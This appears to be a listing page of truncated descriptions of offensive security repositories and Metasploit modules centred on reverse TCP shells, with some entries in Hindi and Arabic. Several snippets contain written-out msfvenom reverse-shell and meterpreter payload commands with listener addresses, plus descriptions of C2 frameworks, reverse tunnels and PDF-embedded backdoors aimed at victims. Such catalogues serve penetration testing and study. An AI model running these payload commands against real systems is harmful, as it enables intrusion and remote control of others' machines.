redpill

:octocat: Project Description The redpill project aims to assist reverse tcp shells in post-exploration tasks. Often, on redteam appointments we need to use unconventional ways to access the target system, like reverse tcp shells not metasploit in order to bypass the defenses implemented by the...

CVE-2009-1330

CVE-2009-1330 Exploit for buffer overflow in Easy RM to MP3 Converter 2.7.3.700 CVE-2009-1330 Based on: pwntools msfvenom / reversetcp payload ropper x64dbg Easy RM to MP3 Converter 2.7.3.700 Vulnerable app available at https://www.exploit-db.com/exploits/10374...

Villain

Villain Purpose Villain is a high-level Stage 0/1 C2 framework that can handle multiple reverse TCP and HoaxShell-based shells, enhance their functionality with additional features commands, utilities, and share them among connected sibling servers Villain instances running on different machines...

-EXPLOIT-CVE-2023-36025

शोषण CVE-2023-36025 - विवरण विंडोज SmartScreen सुरक्षा सुविधा बाईपास भेद्यता उपयोग नोट: हैंडलर लक्ष्य के लिए TCP अनुरोध की प्रतीक्षा कर रहा है पी.एस. CVE-2023-36025.vbs फ़ाइल को कॉन्फ़िगर करें ताकि IP और पोर्ट को मशीन के IP और पोर्ट में बदल दिया जाए जो TCP हैंडलर के लिए उपयोग किया जा रहा है रिवर्...

shellcode-x64

Shellcode for Microsoft Windows 11 x64 This script generate Windows 11 x64 Reverse TCP Shellcode with PIC technique. Usage for generate shellcode root@kitploit: python ./shellreversetcp.py -i 192.168.10.10 -p 443 Defualt language is C type shellcode, also Python, Csharp and powershell:...

CVE-2024-36401-PoC

CVE-2024-36401-PoC Proof-of-Concept Exploit for CVE-2024-36401 GeoServer Vulnerable Versions of GeoServer are prior to 2.23.6 | 2.24.4 | 2.25.2 !!! FOR SECURITY TESTING PURPOSES ONLY !!! DO NOT USE THIS ON SYSTEMS THAT YOU DO NOT OWN UNLESS YOU HAVE EXPRESS PERMISSION !!! To run... 1. Start a...

powershell-reverse-tcp

पावरशेल रिवर्स टीसीपी दूरस्थ होस्ट के साथ संचार के लिए पावरशेल स्क्रिप्ट्स। दूरस्थ होस्ट का क्लाइंट और सभी अंतर्निहित सिस्टम कमांड पर पूर्ण नियंत्रण होगा। इन पर आधारित शेल देखें: यहाँ Invoke-Expression पावरशेल कमांड, यहाँ प्रोसेस पाइप्स। विंडोज 10 एंटरप्राइज OS 64-बिट पर पावरशेल v5.1.19041.2673 क...

shootback

shootback shootback هو نفق TCP عكسي يسمح لك بالوصول إلى الهدف خلف NAT أو جدار الحماية نفق TCP عكسي، يتيح للأجهزة الداخلية خلف NAT أو جدار الحماية الوصول من الشبكة الخارجية. يستهلك أقل من 1% من وحدة المعالجة المركزية و8 ميغابايت من الذاكرة تحت 800 اتصال متزامن. slaver هو ملف واحد ويعتمد فقط على...

MS17-010_CVE-2017-0143

MS17-010 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2017-0143 डॉकर msfvenom का उपयोग करके पेलोड जनरेट करना: root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe -p windows/shellreversetcp: पेलोड निर्दिष्ट करता है विंडोज के लिए एक रिवर्स टीसीपी शेल। LHOST=10.10.14.4:...

Embedded-Backdoor-Connection

पीडीएफ फाइलों के माध्यम से एम्बेडेड बैकडोर कनेक्शन 😈 आपके लिए प्रस्तुत परिचय यह प्रदर्शन वीडियो दिखाता है कि हम लक्ष्य को निर्दोष दिखने वाली PDF फाइल भेजकर पीड़ित के डिवाइस को कैसे नियंत्रित कर सकते हैं, जिसमें वास्तव में एम्बेडेड पेलोड होता है। इस एक्सप्लॉइट को CVE-2010-1240 के रूप में सार्वजनिक...

Embedded-PDF

Embedded Backdoor Connection via PDF Files 😈 brought to you by Introduction This demonstration video shows how we can control the victim's device by sending the innocent-looking PDF file to the target which actually consists of embedded payload. The exploit was made public as CVE-2010-1240. As so...

CVE-2009-3999

CVE-2009-3999 HP Power Manager 4.2 Build 7 एक्सप्लॉइट https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 से प्रेरित चरण 1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5'...

MS08-067

MS08-067 | CVE-2008-4250 Reference: https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN Shellcode Generation We will use msfvenom to genarate the shellcode. root@kitploit: msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443...

CVE-2018-20250

Setup Video demo: https://youtu.be/5tuWsi1tGS0 VirtualBox Machine: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit Procedure Kali: root@kitploit: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe Windows: root@kitploit...

zaphoxx-coldfusion

zaphoxx-coldfusion coldfusion exploit पर आधारित https://cvedetails.com/cve/CVE-2009-2265/ इस विशेष CVE के लिए मैंने python स्क्रिप्ट बनाने का मुख्य कारण यह था कि जब मैंने HTB मशीन Arctic को हल करने का प्रयास किया तो उसी का metasploit संस्करण मेरे लिए काम नहीं करता था। साथ ही कुछ python अभ्यास करन...

Linux_X86_Reverse_TCP_Alphanumeric_Staged_Shellcode_Execve-bin-bash

इस रिपॉजिटरी में README नहीं है।...

penetration-testing-windows10

Vulnerability Analysis and Penetration Testing Using Metasploi...

Linux dup2 Command Shell, Reverse TCP Stager

dup2 socket in s1, then execve. Connect back to the attacker Module Options...

FTP Fetch, Reverse TCP Stager with UUID Support

Fetch and execute an x86 payload from an FTP server. Connect back to the attacker with UUID Support Module Options This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule include...

FTP Fetch, Windows Command Shell, Reverse TCP Stager (DNS)

Fetch and execute an x86 payload from an FTP server. Spawn a piped command shell staged. Connect back to the attacker Module Options This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule include...